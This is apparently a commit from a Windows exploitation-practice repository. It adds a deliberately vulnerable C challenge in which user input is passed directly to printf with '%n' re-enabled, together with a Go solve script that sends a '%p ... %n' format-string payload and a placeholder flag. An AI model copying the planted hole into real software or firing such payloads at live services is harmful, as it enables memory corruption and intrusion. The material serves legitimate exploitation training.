restructure workspace into numbered pwn progression

Rename task dirs to 01_info_leak through 07_heap_aslr following a
standard learning order (info leak → ROP → fmtstr → heap overflow →
UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos,
heap_segment, and template directories. Strip debug symbols from all
compiled challenge binaries and remove all .exe files from the tree.
Strip all explanatory comments from solve scripts.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
2026-08-06 22:21:32 +03:00
co-authored by Claude Sonnet 4.6
parent 3b7d01c748
commit c9aafc512b
76 changed files with 313 additions and 1832 deletions
+1
View File
@@ -0,0 +1 @@
flag{test_flag}
+27
View File
@@ -0,0 +1,27 @@
package main
import (
"bytes"
"log"
"winpwn"
)
func main() {
tube, err := winpwn.Spawn("fs3_win.exe")
if err != nil {
log.Fatalf("Spawn: %v", err)
}
offset := 49
var payload bytes.Buffer
for i := 0; i < offset-1; i++ {
payload.WriteString("%p ")
}
payload.WriteString("%n\n")
if err := tube.SendLineAfter([]byte("format string: "), payload.Bytes()); err != nil {
log.Fatalf("SendLineAfter: %v", err)
}
tube.Interactive()
}
+84
View File
@@ -0,0 +1,84 @@
/*
* TL;DR: Эксплуатация Format String Vulnerability (уязвимости форматной строки)
на Windows имеет три фундаментальных отличия от Linux. Во-первых, стандартный
Microsoft CRT не поддерживает позиционные аргументы (вида %44$n), поэтому
добираться до нужного указателя на стеке придется цепочкой из %p %p %p....
Во-вторых, спецификатор %n отключен в Windows по умолчанию из соображений
безопасности. В-третьих, из-за соглашения о вызовах x64 (RCX, RDX, R8, R9)
первые несколько %p выведут значения из регистров, а не со стека.
Ниже представлены адаптированные исходники для Windows и решение на базе твоего
модуля go_pwner. Уязвимый файл (fs3_win.c)
Чтобы таск можно было решить, нам необходимо искусственно разрешить
использование %n с помощью функции _set_printf_count_output(1). Без неё попытка
передать %n приведет к немедленному завершению процесса (Secure CRT ругнется на
инвалидный параметр). Я также переписал чтение на ReadFile(STD_INPUT_HANDLE),
чтобы таск легко биндился на порт через socat. */
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
void setup() {
// Отключение буферизации для работы по сети
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
// КРИТИЧНО ДЛЯ WINDOWS CTF: Включаем поддержку %n в Microsoft CRT.
// Начиная с VS2015 этот спецификатор отключен по умолчанию для защиты от
// сплойтов.
_set_printf_count_output(1);
}
int main() {
setup();
char buf[32];
char fmt_str[256];
char *my_secret_value = "my secret value";
DWORD bytesRead;
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
// Указатель выделяется на куче. Сам указатель лежит на стеке.
int *print_flag = malloc(sizeof(int));
*print_flag = 0;
printf("Enter your format string: ");
// Читаем полезную нагрузку
ReadFile(hStdin, fmt_str, 255, &bytesRead, NULL);
if (bytesRead > 0) {
// Убираем перенос строки, если он есть, для чистоты вывода
if (fmt_str[bytesRead - 1] == '\n')
bytesRead--;
if (fmt_str[bytesRead - 1] == '\r')
bytesRead--;
fmt_str[bytesRead] = '\0';
}
// УЯЗВИМОСТЬ
// fmt_str летит в RCX, 0xdeadbeef летит в RDX
printf(fmt_str, 0xdeadbeef);
printf("\n");
if (*print_flag) {
HANDLE hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
ReadFile(hFile, buf, 18, &bytesRead, NULL);
buf[bytesRead] = '\0';
// Пишем в stdout через WinAPI
HANDLE hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
WriteFile(hStdout, buf, bytesRead, &bytesRead, NULL);
CloseHandle(hFile);
} else {
printf("flag.txt not found!\n");
}
}
return 0;
}